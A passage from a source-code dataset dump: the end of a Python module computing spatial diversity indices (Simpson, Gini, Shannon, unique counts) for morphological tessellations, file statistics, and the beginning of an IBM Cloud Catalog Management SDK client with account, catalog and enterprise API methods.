results_list.append(np.nan)
self.series = pd.Series(results_list, index=gdf.index)
class Simpson:
"""
Calculates the Simpson\'s diversity index of values within neighbours defined in ``spatial_weights``.
Uses ``mapclassify.classifiers`` under the hood for binning. Requires ``mapclassify>=.2.1.0`` dependency.
.. math::
\\lambda=\\sum_{i=1}^{R} p_{i}^{2}
Adapted from :cite:`feliciotti2018`.
Parameters
----------
objects : GeoDataFrame
GeoDataFrame containing morphological tessellation
values : str, list, np.array, pd.Series
the name of the dataframe column, ``np.array``, or ``pd.Series`` where is stored character value.
spatial_weights : libpysal.weights, optional
spatial weights matrix - If None, Queen contiguity matrix of set order will be calculated
based on objects.
order : int
order of Queen contiguity
binning : str
One of mapclassify classification schemes
Options are ``BoxPlot``, ``EqualInterval``, ``FisherJenks``,
``FisherJenksSampled``, ``HeadTailBreaks``, ``JenksCaspall``,
``JenksCaspallForced``, ``JenksCaspallSampled``, ``MaxPClassifier``,
``MaximumBreaks``, ``NaturalBreaks``, ``Quantiles``, ``Percentiles``, ``StdMean``,
``UserDefined``
gini_simpson : bool (default False)
return Gini-Simpson index instead of Simpson index (``1 - λ``)
inverse : bool (default False)
return Inverse Simpson index instead of Simpson index (``1 / λ``)
categorical : bool (default False)
treat values as categories (will not use ``binning``)
categories : list-like (default None)
list of categories. If None ``values.unique()`` is used.
**classification_kwds : dict
Keyword arguments for classification scheme
For details see `mapclassify documentation <https://pysal.org/mapclassify>`_.
Attributes
----------
series : Series
Series containing resulting values
gdf : GeoDataFrame
original GeoDataFrame
values : Series
Series containing used values
sw : libpysal.weights
spatial weights matrix
id : Series
Series containing used unique ID
binning : str
binning method
bins : mapclassify.classifiers.Classifier
generated bins
classification_kwds : dict
classification_kwds
Examples
--------
>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')
>>> tessellation_df['area_Simpson'] = mm.Simpson(tessellation_df, 'area', sw, 'uID').series
100%|██████████| 144/144 [00:00<00:00, 455.83it/s]
"""
def __init__(
self,
gdf,
values,
spatial_weights,
unique_id,
binning="HeadTailBreaks",
gini_simpson=False,
inverse=False,
categorical=False,
categories=None,
**classification_kwds
):
if not categorical:
try:
import mapclassify.classifiers as classifiers
except ImportError:
raise ImportError("The 'mapclassify' package is required")
schemes = {}
for classifier in classifiers.CLASSIFIERS:
schemes[classifier.lower()] = getattr(classifiers, classifier)
binning = binning.lower()
if binning not in schemes:
raise ValueError(
"Invalid binning. Binning must be in the"
" set: %r" % schemes.keys()
)
self.gdf = gdf
self.sw = spatial_weights
self.id = gdf[unique_id]
self.binning = binning
self.gini_simpson = gini_simpson
self.inverse = inverse
self.categorical = categorical
self.categories = categories
self.classification_kwds = classification_kwds
data = gdf.copy()
if values is not None:
if not isinstance(values, str):
data["mm_v"] = values
values = "mm_v"
self.values = data[values]
if not categorical:
self.bins = schemes[binning](data[values], **classification_kwds).bins
data = data.set_index(unique_id)[values]
if not categories:
categories = data.unique()
results_list = []
for index in tqdm(data.index, total=data.shape[0]):
if index in spatial_weights.neighbors.keys():
neighbours = spatial_weights.neighbors[index].copy()
if neighbours:
neighbours.append(index)
else:
neighbours = [index]
values_list = data.loc[neighbours]
if categorical:
counts = values_list.value_counts().to_dict()
for c in categories:
if c not in counts.keys():
counts[c] = 0
else:
sample_bins = classifiers.UserDefined(values_list, self.bins)
counts = dict(zip(self.bins, sample_bins.counts))
results_list.append(self._simpson_di(counts))
else:
results_list.append(np.nan)
if gini_simpson:
self.series = 1 - pd.Series(results_list, index=gdf.index)
elif inverse:
self.series = 1 / pd.Series(results_list, index=gdf.index)
else:
self.series = pd.Series(results_list, index=gdf.index)
def _simpson_di(self, data):
""" Given a hash { 'species': count } , returns the Simpson Diversity Index
>>> _simpson_di({'a': 10, 'b': 20, 'c': 30,})
0.3888888888888889
https://gist.github.com/martinjc/f227b447791df8c90568
"""
def p(n, N):
""" Relative abundance """
if n == 0:
return 0
return float(n) / N
N = sum(data.values())
return sum(p(n, N) ** 2 for n in data.values() if n != 0)
class Gini:
"""
Calculates the Gini index of values within neighbours defined in ``spatial_weights``.
Uses ``inequality.gini.Gini`` under the hood. Requires '`inequality`' package.
.. math::
Parameters
----------
gdf : GeoDataFrame
GeoDataFrame containing morphological tessellation
values : str, list, np.array, pd.Series
the name of the dataframe column, ``np.array``, or ``pd.Series`` where is stored character value.
spatial_weights : libpysal.weights
spatial weights matrix
unique_id : str
name of the column with unique id used as ``spatial_weights`` index
rng : Two-element sequence containing floats in range of [0,100], optional
Percentiles over which to compute the range. Each must be
between 0 and 100, inclusive. The order of the elements is not important.
Attributes
----------
series : Series
Series containing resulting values
gdf : GeoDataFrame
original GeoDataFrame
values : Series
Series containing used values
sw : libpysal.weights
spatial weights matrix
id : Series
Series containing used unique ID
rng : tuple
range
Examples
--------
>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')
>>> tessellation_df['area_Gini'] = mm.Gini(tessellation_df, 'area', sw, 'uID').series
100%|██████████| 144/144 [00:00<00:00, 597.37it/s]
"""
def __init__(self, gdf, values, spatial_weights, unique_id, rng=None):
try:
from inequality.gini import Gini
except ImportError:
raise ImportError("The 'inequality' package is required.")
self.gdf = gdf
self.sw = spatial_weights
self.id = gdf[unique_id]
self.rng = rng
data = gdf.copy()
if values is not None:
if not isinstance(values, str):
data["mm_v"] = values
values = "mm_v"
self.values = data[values]
if self.values.min() < 0:
raise ValueError(
"Values contain negative numbers. Normalise data before"
"using momepy.Gini."
)
data = data.set_index(unique_id)[values]
if rng:
from momepy import limit_range
results_list = []
for index in tqdm(data.index, total=data.shape[0]):
if index in spatial_weights.neighbors.keys():
neighbours = spatial_weights.neighbors[index].copy()
if neighbours:
neighbours.append(index)
values_list = data.loc[neighbours].values
if rng:
values_list = limit_range(values_list, rng=rng)
results_list.append(Gini(values_list).g)
else:
results_list.append(0)
else:
results_list.append(np.nan)
self.series = pd.Series(results_list, index=gdf.index)
class Shannon:
"""
Calculates the Shannon index of values within neighbours defined in ``spatial_weights``.
Uses ``mapclassify.classifiers`` under the hood for binning. Requires ``mapclassify>=.2.1.0`` dependency.
.. math::
H^{\\prime}=-\\sum_{i=1}^{R} p_{i} \\ln p_{i}
Parameters
----------
objects : GeoDataFrame
GeoDataFrame containing morphological tessellation
values : str, list, np.array, pd.Series
the name of the dataframe column, ``np.array``, or ``pd.Series`` where is stored character value.
spatial_weights : libpysal.weights, optional
spatial weights matrix - If None, Queen contiguity matrix of set order will be calculated
based on objects.
order : int
order of Queen contiguity
binning : str
One of mapclassify classification schemes
Options are ``BoxPlot``, ``EqualInterval``, ``FisherJenks``,
``FisherJenksSampled``, ``HeadTailBreaks``, ``JenksCaspall``,
``JenksCaspallForced``, ``JenksCaspallSampled``, ``MaxPClassifier``,
``MaximumBreaks``, ``NaturalBreaks``, ``Quantiles``, ``Percentiles``, ``StdMean``,
``UserDefined``
categorical : bool (default False)
treat values as categories (will not use binning)
categories : list-like (default None)
list of categories. If None values.unique() is used.
**classification_kwds : dict
Keyword arguments for classification scheme
For details see `mapclassify documentation <https://pysal.org/mapclassify>`_.
Attributes
----------
series : Series
Series containing resulting values
gdf : GeoDataFrame
original GeoDataFrame
values : Series
Series containing used values
sw : libpysal.weights
spatial weights matrix
id : Series
Series containing used unique ID
binning : str
binning method
bins : mapclassify.classifiers.Classifier
generated bins
classification_kwds : dict
classification_kwds
Examples
--------
>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')
>>> tessellation_df['area_Shannon'] = mm.Shannon(tessellation_df, 'area', sw, 'uID').series
100%|██████████| 144/144 [00:00<00:00, 455.83it/s]
"""
def __init__(
self,
gdf,
values,
spatial_weights,
unique_id,
binning="HeadTailBreaks",
categorical=False,
categories=None,
**classification_kwds
):
if not categorical:
try:
import mapclassify.classifiers as classifiers
except ImportError:
raise ImportError("The 'mapclassify' package is required")
schemes = {}
for classifier in classifiers.CLASSIFIERS:
schemes[classifier.lower()] = getattr(classifiers, classifier)
binning = binning.lower()
if binning not in schemes:
raise ValueError(
"Invalid binning. Binning must be in the"
" set: %r" % schemes.keys()
)
self.gdf = gdf
self.sw = spatial_weights
self.id = gdf[unique_id]
self.binning = binning
self.categorical = categorical
self.categories = categories
self.classification_kwds = classification_kwds
data = gdf.copy()
if values is not None:
if not isinstance(values, str):
data["mm_v"] = values
values = "mm_v"
self.values = data[values]
if not categorical:
self.bins = schemes[binning](data[values], **classification_kwds).bins
data = data.set_index(unique_id)[values]
if not categories:
categories = data.unique()
results_list = []
for index in tqdm(data.index, total=data.shape[0]):
if index in spatial_weights.neighbors.keys():
neighbours = spatial_weights.neighbors[index].copy()
if neighbours:
neighbours.append(index)
else:
neighbours = [index]
values_list = data.loc[neighbours]
if categorical:
counts = values_list.value_counts().to_dict()
for c in categories:
if c not in counts.keys():
counts[c] = 0
else:
sample_bins = classifiers.UserDefined(values_list, self.bins)
counts = dict(zip(self.bins, sample_bins.counts))
results_list.append(self._shannon(counts))
else:
results_list.append(np.nan)
self.series = pd.Series(results_list, index=gdf.index)
def _shannon(self, data):
""" Given a hash { 'species': count } , returns the SDI
>>> _shannon({'a': 10, 'b': 20, 'c': 30,})
1.0114042647073518
https://gist.github.com/audy/783125
"""
from math import log as ln
def p(n, N):
""" Relative abundance """
if n == 0:
return 0
return (float(n) / N) * ln(float(n) / N)
N = sum(data.values())
return -sum(p(n, N) for n in data.values() if n != 0)
class Unique:
"""
Calculates the number of unique values within neighbours defined in ``spatial_weights``.
.. math::
Parameters
----------
gdf : GeoDataFrame
GeoDataFrame containing morphological tessellation
values : str, list, np.array, pd.Series
the name of the dataframe column, ``np.array``, or ``pd.Series`` where is stored character value.
spatial_weights : libpysal.weights
spatial weights matrix
unique_id : str
name of the column with unique id used as ``spatial_weights`` index
Attributes
----------
series : Series
Series containing resulting values
gdf : GeoDataFrame
original GeoDataFrame
values : Series
Series containing used values
sw : libpysal.weights
spatial weights matrix
id : Series
Series containing used unique ID
Examples
--------
>>> sw = momepy.sw_high(k=3, gdf=tessellation_df, ids='uID')
>>> tessellation_df['cluster_unique'] = mm.Unique(tessellation_df, 'cluster', sw, 'uID').series
100%|██████████| 144/144 [00:00<00:00, 722.50it/s]
"""
def __init__(self, gdf, values, spatial_weights, unique_id):
self.gdf = gdf
self.sw = spatial_weights
self.id = gdf[unique_id]
data = gdf.copy()
if values is not None:
if not isinstance(values, str):
data["mm_v"] = values
values = "mm_v"
self.values = data[values]
data = data.set_index(unique_id)[values]
results_list = []
for index in tqdm(data.index, total=data.shape[0]):
if index in spatial_weights.neighbors.keys():
neighbours = spatial_weights.neighbors[index].copy()
if neighbours:
neighbours.append(index)
else:
neighbours = [index]
values_list = data.loc[neighbours]
results_list.append(len(values_list.unique()))
else:
results_list.append(np.nan)
self.series = pd.Series(results_list, index=gdf.index)
| 32.859031
| 121
| 0.58368
| 2,490
| 22,377
| 5.173896
| 0.111245
| 0.056509
| 0.030738
| 0.024218
| 0.896142
| 0.894357
| 0.889622
| 0.877125
| 0.871691
| 0.855468
| 0
| 0.018182
| 0.311793
| 22,377
| 680
| 122
| 32.907353
| 0.814481
| 0.445011
| 0
| 0.841549
| 0
| 0
| 0.037682
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.035211
| false
| 0
| 0.066901
| 0
| 0.144366
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
57035ba80ecf74dddbbee79922ee9b3d2af78d34
| 504,100
|
py
|
Python
|
ibm_platform_services/catalog_management_v1.py
|
nathan-hekman/platform-services-python-sdk
|
498c56c33bff040a77f073448563aeed550a2074
|
[
"Apache-2.0"
] | null | null | null |
ibm_platform_services/catalog_management_v1.py
|
nathan-hekman/platform-services-python-sdk
|
498c56c33bff040a77f073448563aeed550a2074
|
[
"Apache-2.0"
] | null | null | null |
ibm_platform_services/catalog_management_v1.py
|
nathan-hekman/platform-services-python-sdk
|
498c56c33bff040a77f073448563aeed550a2074
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
# (C) Copyright IBM Corp. 2020.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# IBM OpenAPI SDK Code Generator Version: 99-SNAPSHOT-8d569e8f-20201030-111043
"""
This is the API to use for managing private catalogs for IBM Cloud. Private catalogs
provide a way to centrally manage access to products in the IBM Cloud catalog and your own
catalogs.
"""
from datetime import datetime
from enum import Enum
from typing import Dict, List
import json
from ibm_cloud_sdk_core import BaseService, DetailedResponse
from ibm_cloud_sdk_core.authenticators.authenticator import Authenticator
from ibm_cloud_sdk_core.get_authenticator import get_authenticator_from_environment
from ibm_cloud_sdk_core.utils import convert_model, datetime_to_string, string_to_datetime
from .common import get_sdk_headers
##############################################################################
# Service
##############################################################################
class CatalogManagementV1(BaseService):
"""The Catalog Management V1 service."""
DEFAULT_SERVICE_URL = 'https://cm.globalcatalog.cloud.ibm.com/api/v1-beta'
DEFAULT_SERVICE_NAME = 'catalog_management'
@classmethod
def new_instance(cls,
service_name: str = DEFAULT_SERVICE_NAME,
) -> 'CatalogManagementV1':
"""
Return a new client for the Catalog Management service using the specified
parameters and external configuration.
"""
authenticator = get_authenticator_from_environment(service_name)
service = cls(
authenticator
)
service.configure_service(service_name)
return service
def __init__(self,
authenticator: Authenticator = None,
) -> None:
"""
Construct a new client for the Catalog Management service.
:param Authenticator authenticator: The authenticator specifies the authentication mechanism.
Get up to date information from https://github.com/IBM/python-sdk-core/blob/master/README.md
about initializing the authenticator of your choice.
"""
BaseService.__init__(self,
service_url=self.DEFAULT_SERVICE_URL,
authenticator=authenticator)
#########################
# Account
#########################
def get_catalog_account(self,
**kwargs
) -> DetailedResponse:
"""
Get the account settings.
Get the account level settings for the account for private catalog.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Account` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_catalog_account')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/catalogaccount'
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def update_catalog_account(self,
*,
id: str = None,
account_filters: 'Filters' = None,
**kwargs
) -> DetailedResponse:
"""
Set the account settings.
:param str id: (optional) Account identification.
:param Filters account_filters: (optional) Filters for account and catalog
filters.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if account_filters is not None:
account_filters = convert_model(account_filters)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='update_catalog_account')
headers.update(sdk_headers)
data = {
'id': id,
'account_filters': account_filters
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/catalogaccount'
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_catalog_account_audit(self,
*,
id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get the audit log(s) for catalog account.
Get the audit log(s) for catalog account.
:param str id: (optional) Log identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_catalog_account_audit')
headers.update(sdk_headers)
params = {
'id': id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
url = '/catalogaccount/audit'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
def get_catalog_account_filters(self,
*,
catalog: str = None,
**kwargs
) -> DetailedResponse:
"""
Get the accumulated filters of the account and of the catalogs you have access to.
Get the accumulated filters of the account and of the catalogs you have access to.
:param str catalog: (optional) catalog id. Narrow down filters to the
account and just the one catalog.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `AccumulatedFilters` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_catalog_account_filters')
headers.update(sdk_headers)
params = {
'catalog': catalog
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/catalogaccount/filters'
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# Catalogs
#########################
def list_catalogs(self,
**kwargs
) -> DetailedResponse:
"""
Get list of catalogs.
List the available catalogs for a given account.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `CatalogSearchResult` object
"""
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='list_catalogs')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/catalogs'
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def create_catalog(self,
*,
id: str = None,
rev: str = None,
label: str = None,
short_description: str = None,
catalog_icon_url: str = None,
tags: List[str] = None,
url: str = None,
crn: str = None,
offerings_url: str = None,
features: List['Feature'] = None,
disabled: bool = None,
created: datetime = None,
updated: datetime = None,
resource_group_id: str = None,
owning_account: str = None,
catalog_filters: 'Filters' = None,
syndication_settings: 'SyndicationResource' = None,
**kwargs
) -> DetailedResponse:
"""
Create a catalog.
Create a catalog for a given account.
:param str id: (optional) Unique ID.
:param str rev: (optional) Cloudant revision.
:param str label: (optional) Display Name in the requested language.
:param str short_description: (optional) Description in the requested
language.
:param str catalog_icon_url: (optional) URL for an icon associated with
this catalog.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param str url: (optional) The url for this specific catalog.
:param str crn: (optional) CRN associated with the catalog.
:param str offerings_url: (optional) URL path to offerings.
:param List[Feature] features: (optional) List of features associated with
this catalog.
:param bool disabled: (optional) Denotes whether a catalog is disabled.
:param datetime created: (optional) The date'time this catalog was created.
:param datetime updated: (optional) The date'time this catalog was last
updated.
:param str resource_group_id: (optional) Resource group id the catalog is
owned by.
:param str owning_account: (optional) Account that owns catalog.
:param Filters catalog_filters: (optional) Filters for account and catalog
filters.
:param SyndicationResource syndication_settings: (optional) Feature
information.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Catalog` object
"""
if features is not None:
features = [convert_model(x) for x in features]
if created is not None:
created = datetime_to_string(created)
if updated is not None:
updated = datetime_to_string(updated)
if catalog_filters is not None:
catalog_filters = convert_model(catalog_filters)
if syndication_settings is not None:
syndication_settings = convert_model(syndication_settings)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='create_catalog')
headers.update(sdk_headers)
data = {
'id': id,
'_rev': rev,
'label': label,
'short_description': short_description,
'catalog_icon_url': catalog_icon_url,
'tags': tags,
'url': url,
'crn': crn,
'offerings_url': offerings_url,
'features': features,
'disabled': disabled,
'created': created,
'updated': updated,
'resource_group_id': resource_group_id,
'owning_account': owning_account,
'catalog_filters': catalog_filters,
'syndication_settings': syndication_settings
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
url = '/catalogs'
request = self.prepare_request(method='POST',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_catalog(self,
catalog_identifier: str,
**kwargs
) -> DetailedResponse:
"""
Get a catalog.
Get a catalog.
:param str catalog_identifier: Catalog identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Catalog` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_catalog')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def replace_catalog(self,
catalog_identifier: str,
*,
id: str = None,
rev: str = None,
label: str = None,
short_description: str = None,
catalog_icon_url: str = None,
tags: List[str] = None,
url: str = None,
crn: str = None,
offerings_url: str = None,
features: List['Feature'] = None,
disabled: bool = None,
created: datetime = None,
updated: datetime = None,
resource_group_id: str = None,
owning_account: str = None,
catalog_filters: 'Filters' = None,
syndication_settings: 'SyndicationResource' = None,
**kwargs
) -> DetailedResponse:
"""
Update a catalog.
Update a catalog.
:param str catalog_identifier: Catalog identifier.
:param str id: (optional) Unique ID.
:param str rev: (optional) Cloudant revision.
:param str label: (optional) Display Name in the requested language.
:param str short_description: (optional) Description in the requested
language.
:param str catalog_icon_url: (optional) URL for an icon associated with
this catalog.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param str url: (optional) The url for this specific catalog.
:param str crn: (optional) CRN associated with the catalog.
:param str offerings_url: (optional) URL path to offerings.
:param List[Feature] features: (optional) List of features associated with
this catalog.
:param bool disabled: (optional) Denotes whether a catalog is disabled.
:param datetime created: (optional) The date'time this catalog was created.
:param datetime updated: (optional) The date'time this catalog was last
updated.
:param str resource_group_id: (optional) Resource group id the catalog is
owned by.
:param str owning_account: (optional) Account that owns catalog.
:param Filters catalog_filters: (optional) Filters for account and catalog
filters.
:param SyndicationResource syndication_settings: (optional) Feature
information.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Catalog` object
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
if features is not None:
features = [convert_model(x) for x in features]
if created is not None:
created = datetime_to_string(created)
if updated is not None:
updated = datetime_to_string(updated)
if catalog_filters is not None:
catalog_filters = convert_model(catalog_filters)
if syndication_settings is not None:
syndication_settings = convert_model(syndication_settings)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='replace_catalog')
headers.update(sdk_headers)
data = {
'id': id,
'_rev': rev,
'label': label,
'short_description': short_description,
'catalog_icon_url': catalog_icon_url,
'tags': tags,
'url': url,
'crn': crn,
'offerings_url': offerings_url,
'features': features,
'disabled': disabled,
'created': created,
'updated': updated,
'resource_group_id': resource_group_id,
'owning_account': owning_account,
'catalog_filters': catalog_filters,
'syndication_settings': syndication_settings
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}'.format(**path_param_dict)
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def delete_catalog(self,
catalog_identifier: str,
**kwargs
) -> DetailedResponse:
"""
Delete a catalog.
Delete a catalog.
:param str catalog_identifier: Catalog identifier.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='delete_catalog')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}'.format(**path_param_dict)
request = self.prepare_request(method='DELETE',
url=url,
headers=headers)
response = self.send(request)
return response
def get_catalog_audit(self,
catalog_identifier: str,
*,
id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get the audit log(s) for catalog.
Get the audit log(s) for catalog.
:param str catalog_identifier: Catalog identifier.
:param str id: (optional) Log identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if catalog_identifier is None:
raise ValueError('catalog_identifier must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_catalog_audit')
headers.update(sdk_headers)
params = {
'id': id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['catalog_identifier']
path_param_values = self.encode_path_vars(catalog_identifier)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/catalogs/{catalog_identifier}/audit'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# Enterprise
#########################
def get_enterprise(self,
enterprise_id: str,
**kwargs
) -> DetailedResponse:
"""
Get the enterprise settings for the specified enterprise ID.
Get the enterprise settings for the specified enterprise ID.
:param str enterprise_id: Enterprise identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse with `dict` result representing a `Enterprise` object
"""
if enterprise_id is None:
raise ValueError('enterprise_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_enterprise')
headers.update(sdk_headers)
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
headers['Accept'] = 'application/json'
path_param_keys = ['enterprise_id']
path_param_values = self.encode_path_vars(enterprise_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/enterprises/{enterprise_id}'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers)
response = self.send(request)
return response
def replace_enterprise(self,
enterprise_id: str,
*,
id: str = None,
rev: str = None,
account_filters: 'Filters' = None,
account_groups: 'EnterpriseAccountGroups' = None,
**kwargs
) -> DetailedResponse:
"""
Set the enterprise settings.
:param str enterprise_id: Enterprise identification.
:param str id: (optional) Enterprise identification.
:param str rev: (optional) Cloudant revision.
:param Filters account_filters: (optional) Filters for account and catalog
filters.
:param EnterpriseAccountGroups account_groups: (optional) Map of account
group ids to AccountGroup objects.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if enterprise_id is None:
raise ValueError('enterprise_id must be provided')
if account_filters is not None:
account_filters = convert_model(account_filters)
if account_groups is not None:
account_groups = convert_model(account_groups)
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='replace_enterprise')
headers.update(sdk_headers)
data = {
'id': id,
'_rev': rev,
'account_filters': account_filters,
'account_groups': account_groups
}
data = {k: v for (k, v) in data.items() if v is not None}
data = json.dumps(data)
headers['content-type'] = 'application/json'
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['enterprise_id']
path_param_values = self.encode_path_vars(enterprise_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/enterprises/{enterprise_id}'.format(**path_param_dict)
request = self.prepare_request(method='PUT',
url=url,
headers=headers,
data=data)
response = self.send(request)
return response
def get_enterprises_audit(self,
enterprise_id: str,
*,
id: str = None,
**kwargs
) -> DetailedResponse:
"""
Get the audit log(s) for enterprises.
Get the audit log(s) for enterprises.
:param str enterprise_id: Enterprise identification.
:param str id: (optional) Log identification.
:param dict headers: A `dict` containing the request headers
:return: A `DetailedResponse` containing the result, headers and HTTP status code.
:rtype: DetailedResponse
"""
if enterprise_id is None:
raise ValueError('enterprise_id must be provided')
headers = {}
sdk_headers = get_sdk_headers(service_name=self.DEFAULT_SERVICE_NAME,
service_version='V1',
operation_id='get_enterprises_audit')
headers.update(sdk_headers)
params = {
'id': id
}
if 'headers' in kwargs:
headers.update(kwargs.get('headers'))
path_param_keys = ['enterprise_id']
path_param_values = self.encode_path_vars(enterprise_id)
path_param_dict = dict(zip(path_param_keys, path_param_values))
url = '/enterprises/{enterprise_id}/audit'.format(**path_param_dict)
request = self.prepare_request(method='GET',
url=url,
headers=headers,
params=params)
response = self.send(request)
return response
#########################
# Offerings
#########################
def get_consumption_offerings(self,
*,
digest: bool = None,
catalog: str = None,
select: str = None,
include_hidden: bool = None,
limit: int = None,
offset: int = None,
**kwargs
) -> DetailedResponse:
"""
Get list of offerings for consumption.
List the available offerings from both public and from the account that currently
scoped for consumption. These copies cannot be used updating. They are not
complete and only return what is visible to the caller.
:param bool digest: (optional) true - Strip down the content of what is
